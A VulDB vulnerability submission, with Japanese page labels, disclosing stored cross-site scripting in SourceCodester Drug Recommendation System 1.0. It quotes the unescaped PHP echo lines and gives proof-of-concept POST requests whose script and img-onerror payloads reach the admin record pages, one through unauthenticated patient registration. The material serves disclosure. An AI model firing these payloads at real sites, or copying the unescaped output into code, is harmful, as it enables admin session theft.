| タイトル | SourceCodester Drug Recommendation System 1.0 Cross Site Scripting |
|---|
| 説明 | A stored cross-site scripting vulnerability exists in SourceCodester Drug Recommendation System 1.0 in Admin/user_record.php and Admin/patient_record.php. User-controlled data (name, email) is stored via Admin/add_user.php or patient.php and rendered without htmlspecialchars() in the admin record tables.
Vulnerable code in Admin/user_record.php:
<td><?php echo $row['name'] ?></td>
<td><?php echo $row['email'] ?></td>
Vulnerable code in Admin/patient_record.php:
<td><?php echo $row['name'] ?></td>
Proof of Concept:
Step 1. POST /Admin/add_user.php with btnadd=1&txtname=<script>alert('XSS')</script>&txtpassword=test123456&cmdrole=Doctor&[email protected] (admin session)
Step 2. GET /Admin/user_record.php fires the stored XSS in the admin browser
Or via patient.php (no authentication required):
POST /patient.php with btnadd=1&txtname=<img src=x onerror=alert(document.cookie)>&[email protected]&txtphone=123&txtdob=2000-01-01&cmdsex=Male
Impact: An attacker can inject persistent JavaScript payloads that execute when an administrator views the records, leading to admin session theft or privilege escalation. Patient registration requires no authentication, so this is triggerable by unauthenticated users. CWE-79, CVSS v3.1 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).
|
|---|
| ソース | ⚠️ https://www.sourcecodester.com/php/18278/drug-recommender-web-app-student-project.html |
|---|
| ユーザー | swj99557271 (UID 101148) |
|---|
| 送信 | 2026年09月10日 05:54 (2 月 ago) |
|---|
| モデレーション | 2026年10月11日 19:11 (1 month later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 416733 [SourceCodester Drug Recommendation System 1.0 Admin Record Tables Admin/user_record.php name/email クロスサイトスクリプティング] |
|---|
| ポイント | 20 |
|---|